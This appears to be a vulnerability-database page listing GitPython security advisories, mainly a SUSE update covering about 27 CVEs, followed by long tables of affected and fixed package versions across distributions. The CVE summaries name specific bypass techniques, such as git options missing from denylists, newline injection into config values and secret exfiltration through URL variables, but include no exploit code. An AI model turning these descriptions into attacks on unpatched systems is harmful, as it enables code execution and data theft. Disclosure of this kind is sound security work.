2026-11-02
OSVROOT-APP-PYPI-GHSA-956x-8gvw-wg5v No score

GHSA-956x-8gvw-wg5v in GitPython - Patched by Root

Root has patched GHSA-956x-8gvw-wg5v in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-956x-8gvw-wg5v
Updated
2026-11-02
OSVSUSE-SU-2026:4072-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
  • CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
  • CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
  • CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
  • CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
  • CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
  • CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
  • CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
  • CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
  • CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
  • CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
Record
SUSE-SU-2026:4072-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gitpython
PyPI
through 3.1.50
3.1.51
gitpython
TuxCare:PyPI
From an advisory covering 5 CVEs
3.1.31 up to 3.1.31.post10+tuxcare, plus listed versions
3.1.31.post1+tuxcare3.1.31.post2+tuxcare3.1.31.post3+tuxcare3.1.31.post4+tuxcare3.1.31.post5+tuxcare
Show 4 moreShow less
3.1.31.post6+tuxcare3.1.31.post7+tuxcare3.1.31.post8+tuxcare3.1.31.post9+tuxcare
3.1.31.post10+tuxcare
python-git
Debian:12
before 3.1.30-1+deb12u3, plus listed versions
3.1.30-13.1.30-1+deb12u2
3.1.30-1+deb12u3
python-git
Debian:13
before 3.1.44-1+deb13u1, plus listed versions
3.1.44-1
3.1.44-1+deb13u1
python-git
Debian:14
before 3.1.61-1, plus listed versions
3.1.44-13.1.45-13.1.46-13.1.50-1
3.1.61-1
gitpython
PyPI
before 3.1.51, plus listed versions
0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2
Show 45 moreShow less
0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5
3.1.51
python-GitPython
openEuler:24.03-LTS-SP4
From an advisory covering 5 CVEs
before 3.1.52-1.oe2403sp4
3.1.52-1.oe2403sp4
python-GitPython
openEuler:24.03-LTS-SP1
From an advisory covering 5 CVEs
before 3.1.52-1.oe2403sp1
3.1.52-1.oe2403sp1
python-GitPython
openEuler:24.03-LTS-SP3
From an advisory covering 5 CVEs
before 3.1.52-1.oe2403sp3
3.1.52-1.oe2403sp3
clang
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
Show 157 moreShow less
Affected packages
PackageAffectedFixed
clang-analyzer
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-resource-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-tools-extra
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
clang-tools-extra-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
compiler-rt
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
git-clang-format
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxx
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxx-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxx-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxxabi
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxxabi-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libcxxabi-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libomp
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
libomp-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lld
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lld-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lld-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lldb
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
lldb-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-bolt
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-cmake-utils
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-doc
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-googletest
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libunwind
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libunwind-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-libunwind-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
llvm-test
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
polly
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
polly-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
python3-clang
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
python3-lit
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
python3-lldb
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:22.1.8-4.1.hum1
0:22.1.8-4.1.hum1
swift-lang
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:6.3.3-0.1.1.hum1
0:6.3.3-0.1.1.hum1
swift-lang-runtime
Red Hat:hummingbird:1
From an advisory covering 5 CVEs
before 0:6.3.3-0.1.1.hum1
0:6.3.3-0.1.1.hum1
clang21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-analyzer
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-resource-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-tools-extra
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
clang21-tools-extra-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
compiler-rt21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
git-clang-format21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
libomp21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
libomp21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lld21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lld21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lld21-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lldb21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
lldb21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-cmake-utils
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-devel
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-doc
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-filesystem
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-googletest
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-libs
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-static
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
llvm21-test
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
python3-clang21
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:21.1.8-8.hum1
0:21.1.8-8.hum1
python3.12-django
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 18 CVEs
before 0:5.2.17-1.el8ap
0:5.2.17-1.el8ap
python3.12-django
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:5.2.17-1.el8ap
0:5.2.17-1.el8ap
python3.12-django
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 18 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
python3.12-django
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:4.6.32-1.el8ap
0:4.6.32-1.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:4.6.32-1.el9ap
0:4.6.32-1.el9ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:2.5.20260824-1.el8ap
0:2.5.20260824-1.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:2.5.20260824-1.el9ap
0:2.5.20260824-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 18 CVEs
before 0:4.6.32-1.el8ap
0:4.6.32-1.el8ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:4.6.32-1.el8ap
0:4.6.32-1.el8ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 18 CVEs
before 0:4.6.32-1.el9ap
0:4.6.32-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:4.6.32-1.el9ap
0:4.6.32-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:3.1.59-1.el8ap
0:3.1.59-1.el8ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:3.1.59-1.el9ap
0:3.1.59-1.el9ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 18 CVEs
before 0:3.14.3-1.el8ap
0:3.14.3-1.el8ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 18 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:2.6.13-1.el9ap
0:2.6.13-1.el9ap
python-django
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python3-django
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python-django
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python3-django
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 20 CVEs
before 0:5.2.17-1.el10ap
0:5.2.17-1.el10ap
python3.12-django
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 20 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
python3.12-django
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:5.2.17-1.el9ap
0:5.2.17-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:4.7.16-1.el9ap
0:4.7.16-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 20 CVEs
before 0:4.7.16-1.el9ap
0:4.7.16-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:4.7.16-1.el9ap
0:4.7.16-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.1.59-1.el9ap
0:3.1.59-1.el9ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
python3.12-aiohttp-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
python3.12-aiohttp-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 20 CVEs
before 0:3.14.3-1.el9ap
0:3.14.3-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:1.6.8-1.el10ap
0:1.6.8-1.el10ap
receptor
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:2.6.17-3.el9ap
0:2.6.17-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
python-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python-sqlparse
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3-sqlparse
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 61 CVEs
before 0:0.6.0-1.el10ap
0:0.6.0-1.el10ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:2.6.14-1.el9ap
0:2.6.14-1.el9ap
automation-controller
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
automation-controller-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:4.7.17-1.el9ap
0:4.7.17-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 61 CVEs
before 0:3.1.60-1.el9ap
0:3.1.60-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:4.6.33-1.el8ap
0:4.6.33-1.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:4.6.33-1.el9ap
0:4.6.33-1.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:2.5.10-8.el8ap
0:2.5.10-8.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:1.6.8-1.el8ap
0:1.6.8-1.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:2.6.17-3.el9ap
0:2.6.17-3.el9ap
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:1.6.8-1.el9ap
0:1.6.8-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 57 CVEs
before 0:0.6.0-1.el8ap
0:0.6.0-1.el8ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:0.6.0-1.el8ap
0:0.6.0-1.el8ap
python3.12-sqlparse
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 57 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
python3.12-sqlparse
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:0.6.0-1.el9ap
0:0.6.0-1.el9ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:2.5.20260923-1.el8ap
0:2.5.20260923-1.el8ap
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:2.5.20260923-1.el9ap
0:2.5.20260923-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 57 CVEs
before 0:3.1.60-1.el8ap
0:3.1.60-1.el8ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 57 CVEs
before 0:3.1.60-1.el9ap
0:3.1.60-1.el9ap
GitPython
Root:PyPI
before 3.1.47+aikido.9
3.1.47+aikido.93.1.46+aikido.123.1.46+aikido.13
GitPython
Root:PyPI
before 3.1.47+aikido.8
3.1.47+aikido.83.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.50+aikido.13.1.49+aikido.33.1.49+aikido.43.1.50+aikido.23.1.47+aikido.53.1.46+aikido.83.1.50+aikido.33.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10
python-GitPython
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-git
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm20.3.2~RC1-3ubuntu0.1~esm3
None known
python-git
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm21.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm22.1.8-1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm23.0.7-1ubuntu0.1~esm4
None known
python-git
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm23.1.24-1ubuntu0.1~esm3
None known
python-git
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
3.1.30-13.1.37-13.1.37-33.1.37-3ubuntu0.1~esm2
None known
python-git
